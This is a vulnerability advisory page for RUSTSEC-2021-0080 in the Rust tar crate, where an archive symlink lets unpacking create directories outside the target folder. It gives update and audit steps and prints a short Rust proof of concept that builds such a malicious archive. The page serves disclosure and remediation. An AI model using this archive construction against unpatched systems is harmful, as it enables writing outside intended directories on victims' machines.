RUSTSEC-2021-0080: Links in archive can create arbitrary directories

What to do

1. See which version you have: cargo tree -i tar (it also shows which of your dependencies pulls it in).
2. Update within your version requirement: cargo update -p tar. If the fix is a newer major or minor than your requirement allows, raise it in Cargo.toml (for example tar = "0.4.36") or update the dependency that pulls it in.
3. Check again with cargo audit, or paste your Cargo.lock into our Cargo.toml checker.

Details from the advisory

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

References

• Package: crates.io/crates/tar
• Advisory: rustsec.org/advisories/RUSTSEC-2021-0080.html
• Report: github.com/alexcrichton/tar-rs/issues/238

From the RustSec Advisory Database (CC0-1.0) via the OSV export, downloaded Oct 24, 2026. Severity score computed from the published CVSS vector.

Other advisories for tar

• Vulnerability HighRUSTSEC-2018-0002 · 2018-06-29Links in archives can overwrite any existing file
• VulnerabilityRUSTSEC-2026-0067 · 2026-03-19`unpack_in` can chmod arbitrary directories by following symlinks
• VulnerabilityRUSTSEC-2026-0068 · 2026-03-19tar-rs incorrectly ignores PAX size headers if header size is nonzero
• VulnerabilityGHSA-3pv8-6f4r-ffg2 · 2026-05-29tar has a PAX header desynchronization issue

Full security history of tar